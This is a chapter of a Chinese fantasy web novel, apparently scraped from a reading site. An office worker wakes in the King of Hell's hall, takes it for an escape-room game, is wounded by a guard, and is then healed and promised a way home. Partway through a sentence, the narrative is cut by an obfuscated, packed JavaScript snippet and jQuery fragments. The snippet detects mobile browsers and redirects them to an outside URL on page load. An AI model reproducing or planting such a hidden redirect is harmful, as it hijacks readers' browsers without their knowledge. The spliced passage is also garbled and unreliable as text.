白星雾看不清侍卫的同时,对方也看不清她。
话落,女子没能等来对方的答复,而是听到他扯着嗓门喊在黑暗中喊道:“侍卫长,我找到人了,她在这。”
对方话里的她,很明显说的是自己。
白星雾被侍卫这句话喊的毫无厘头,“谁是侍卫长?我在这儿又怎么了?”
她抬手指了指自己,疑惑问道:“我犯事儿了?”
侍卫的语气太过洪亮雀跃,比正义之神抓到了穷凶极恶的歹徒还要有成就感,让白星雾不得不多想。
随后,她只听见远处传来了其他的男声。
“把她带上来。”
白星雾对面的侍卫应声,“是!侍卫长。”
说完,他伸出手就抓住了白星雾的肩膀,“跟我走一趟吧。”
白星雾不了解此前的情况,也不知自己身在何处,被吓了不说,还被人当成犯人似的扣押,她很不爽的抖着肩膀上的大手。
“诶诶诶!走哪儿去啊!”
“你们到底是谁,我这又是在哪?”
压着她往前走的侍卫没吱声儿。
走了几步,女子不服气继续开口,“说话?!”
侍卫还是不理她。
一个硬拳打到了棉花上,听不到响声,白星雾气急,将整个身子左右摇晃。
“不说是吧,不说就放开我!”
“凭什么把我当成犯人一样扣住,男女授受不亲你没听过吗。”
阎王殿的侍卫都经过严格的体能训练,比普通的侍卫条件更加严苛,身手体力都非常人所能比,不是白星雾随便晃几下就能挣脱的。
双方力量有悬,抗议无效,白星雾宣告失败,认命的被对方羁押到大殿中央。
将人带到后,侍卫对为首之人禀告,“报告侍卫长,人已带到。”
被喊做侍卫长得人身高八尺,身型魁梧壮大,站在阶梯之下的右侧。
他看了眼白星雾便对侍卫吩咐道:“嗯,继续站岗。”
“是!”
回答完,侍卫退回岗位,留下一脸懵的白星雾站在大殿中央。
白星雾只顾着谩骂把他抓来的侍卫,还有眼前的侍卫长,根本没抬头往上看。
她目光恶狠狠盯着眼前的侍卫长,“你谁啊你!”
“好端端让人把我绑到这里来,有何居心?”
侍卫长撇了她一眼没作声,转身恭敬的朝大殿上方单膝跪地,双手抱拳沉声道:
“禀告大人,抓到一个擅闯大殿的,该如何处置。”
白星雾被人带过来时,谈笑风生的主仆二人便噤了声,静静的看着这一幕。
待到侍卫长出声,阎王这才垂眸,眼神落到了殿中的女子身上。
“哦,擅闯大殿的?”
阎王的语气若有所思,怕是没那么胆大包天的人吧。
阎王是地府之最,犹如人间古时的帝王。
帝王身边通常都有传话的心腹,能读懂他的喜怒哀乐,知道他接下来要说什么。
青獠鬼的身份与之无异。
此时,无需阎王过多过多开口,他身边的青獠鬼问话的口吻带着官腔。
“殿下来者何人啊?”
“胆敢擅闯大殿?底下的人没人教过你规矩吗。”
白星雾作为一个近视眼,五米开外六亲不认,十米开外雌雄难辩,严重点的,二十米开外人畜不分。
阎王坐的主座只是阶梯比较高,距离她所站的位置不到十米。
女子抬眸,看清了上方的人脸后倒吸一口凉气。
——“嘶~!”
白星雾瞳孔放大的速度及不可见,只觉脚跟发软。
最近工作压力太大,她出现幻觉了?
还是说…做噩梦了?
可是这画面感怎么这么真实呢…
女子摇了摇脑袋,不不不,冷静!冷静。
身为21世纪新时代女性,她应该相信科学,走进科学。
此番景象,唯一能用科学解释的方法就是,密室逃脱。
女子强迫自己冷静了下来。
她……没回答他们的话,而是反问道:“你们…”
“是密室逃脱里扮演鬼怪的NPC?”
“一个扮演的阎王,另一个扮演的跟班,底下这群人是护卫?”
近些年,城市中兴起了一种名为密室逃脱类的恐怖游戏,用专门的道具,NPC,布置合适的游戏场景。
道具越真,NPC扮演的角色越专业,更能让人沉浸式体验在游戏里,仿佛身临其境。
这类的游戏白星雾虽然没玩过,可她怎么着也是新世纪的人类。
没吃过猪肉,哪里还会没见过猪跑。
她早前便在网络上刷到过很多关于此游戏的视频,多多少少有点了解的。
“……”
好一顿沉默。
白星雾以为他们是敬业爱岗,要让玩家更加沉浸式体验,举起手给他们竖起了大拇指。
“赞!”
“我懂,我都懂。”
“不过你们店的场景跟道具做的太逼真了,刚一过来我都感觉真的站在地府里似的。”
“诶对了,我这是地府模式吧?”
大殿内,侍卫们面若寒霜,一字未发。
殿中鸦雀无声,只她一人聒噪不停。
白星雾脸上的笑容戛然而止,这么夸都不捧场?
“你们怎么都不说话。”
女子反思道:“难不成…是我的评价太夸张了?”
不能吧,她也没夸大其词啊。
侍卫长起身,对着白星雾就是一阵呵斥:“大胆女子!休要在这装疯卖傻,胡言乱语。”
“小青大人问什么你答什么便是!”
“还有,见到大人,为何不跪?”
而后,他没给白星雾反应的机会,直接单手按住她的肩膀,往下沉。
——“咚!”
女子双腿落地的瞬间,当即眩晕了几秒。
她脸色微顿,还在觉得是对方的职业素养好。
“不是吧,你们培训的这么好?流程硬走?”
也不知道他们多少钱一天,一个比一个敬业。
白星雾想了想,既然他们都投入的这么认真,那她也该好好玩,不能辜负一个店家的专业跟态度。
随后,女子“咳咳”两声,正准备投入进游戏中时,听到了一阵利器的声响。
——“锵!”
是剑出鞘的声音。
抬眼间,侍卫长拔剑而出,锋利无比的剑刃快速抵到了她的脖颈处。
“大人,此妖女来历不明,妖言惑众扰乱我方军心,还请大人定夺。”
他方才拔剑时动作太过迅速,锋利的剑刃擦伤了白星雾的脸颊。
顷刻间,那张尤为漂亮的脸蛋上多出一丝血痕,豆大的血珠顺着她的脸颊滑落,滴到了手背上。
手背上传来温热的坠落感过于明显,白星雾立马抬起手背一看,“我靠!”
若不是脸颊处已经传来隐隐作痛的感觉,白星雾都要误以为这是他们准备的血包了。
——“嘶!”
疼痛感越来越明显,女子抬手点了一下疼痛处,眉眼惊提,“不是吧大哥,你来真的?”
侍卫眸光犀利,似是要把白星雾凿出个洞来,严声训斥,“真的又何妨?”
“未得大人诏令擅闯大殿中,其罪当凌迟处死。”
性命已于危难之际,双腿跪地的女子眸光闪烁,脑子无比清醒。
货真价实的利剑,清晰无比的痛感,威严端庄的大殿,惊悚至极的氛围。
完蛋了,她该不会真进地府了吧。
那她是死了还是没死,是灵魂出窍还是肉身直接进了地府?
女子脑海里的疑问只增不减。
目前形势似是死局。
她明白,即便有再多疑问,此刻都不会有人站出来为她答疑解惑。
因为她摊上事儿了。
摊上大事了!
一时间,白星雾的脑海里涌入了各种各样的奇葩死法。
一刀毙命,万箭穿心,高挂悬梁之上吊死。
按照这个形势发展下去,就算对方说出斩立决她都不会惊讶。
那张精致嫩白的五官上,原先化着很显气色的妆
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048957|194792||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
容,此时已没了一丝血色。
不,她不要死,坚决不能死!
认清局势,白星雾收住了外向的性格,将胆小怕死的懦弱一面展现了出来。
她瘦弱单薄的身影不自觉颤抖,五指无力握拳,眼神茫然,磕磕绊绊的音量极小,“抱抱抱…抱歉啊。”
“我不是故意闯入的。”
白星雾甚至…
想没出息的对主座上那位磕头求饶。
可抵在她脖子上的那把真剑,让她打消了这个念头,分毫不敢乱动。
这不是在玩过家家的游戏道具,而是真刀真枪摆在明面上的。
稍不留神便会一剑封喉,暴毙于此。
看够了台下的戏,台上的人终于舍得发声。
“并非有意闯入?”
“闯来殿中的十个有九个都说非有心为之的,若人人都能以无心之失逃脱惩处,那还要规矩做甚?”
“你们一个二个的,一点也没把大人放在眼里!”
“还不速速报上家门,讲明来意,若无害人之心,方许大人还能饶你一命!”
青獠鬼字正腔圆,一字一句,直击女子大脑。
惩处…
规矩…
小命在别人手里攥着,白星雾比老师眼里的好学生还要乖巧,她双手举起,“我说,我说。”
“我叫白星雾,今年26岁,是一名普通的在外务工青年。”
趁着还有说话的机会,女子连忙对他们解释:“还请各位大人相信,我真是不是故意闯入的。”
再不说,万一等下连说话的机会都没了,她想解释都没办法。
“我是在工位上累的睡着了,等我醒来就到这里了,如果我说我也很懵…你们会信吗?”
试问,谁会好端端的不怕死往地府闯?
嫌命太长,活的太久了不成。
怕他们不相信自己,小命呜呼,白星雾眼睛一闭,拳头紧握,拼了!
“其实我是来自…”
女子话说到一半,关键时刻,阎王摆出了该有的姿态,打断了她的话,“嗯,高展,退下吧。”
被喊做高展的,便是用剑卡着白星雾脖子的侍卫长。
高展把剑收了起来,“好的,大人。”
威胁到性命的利刃离开脖子,白星雾松了一口气。
她抬手轻拍胸脯,安抚间有听到阎王说,“你的出处,本府已然知晓,无需多言。”
女子心下诧异,她还什么都没说呢,他知道?
在白星雾的注视下,公案边坐着的阎王起了身,绕到了公案前,高大威严的身形立于阶梯之上,对两排的侍卫挥了挥衣袖。
“你们都先下去。”
侍卫们虽不知为何,但阎王一声令下,他们莫敢不从。
“是,大人。”
屏退了侍卫,阎王没跟白星雾打招呼,径直朝她的脸颊处使去了一道灵力。
淡紫色的光圈明明晃晃展现在女子惊讶的不能再惊讶的眼里,随着她的视线飘到了脸上。
随即,白星雾的左脸感到一股清凉,她抬手捂住了脸,声音呆呆的,“这是?”
电视剧里的法术?
不是吧天老爷,真有这般奇幻的事发生在现实世界?
虽说世界之大,无奇不有,真碰到了怎么着都会觉着离奇。
如此一来,阎王知道她的出处也不足为奇了。
替白星雾治好脸上的伤,阎王将手拘于腹前,“方才侍卫不小心伤到了你,本府替他向你道歉,是本府管教不严。”
“本府既已知你的来历,便会把你送回原处。”
女子还未将方才的一切消化完,听到可以把她送回去的一瞬,她眼中的光立马重新亮了起来,“真的?”
生怕阎王反悔似的,没等他作答,白星雾变连连道谢,“感谢!感谢!”
“真的太感谢您了!”
鬼知道她有多害怕,刚才那侍卫的眼神像是要把她刀成片状的。
她差点以为要嘎在这了…
幸好啊,幸好!
她的命没有交代在这,不然她那几十万的负债谁来替她还。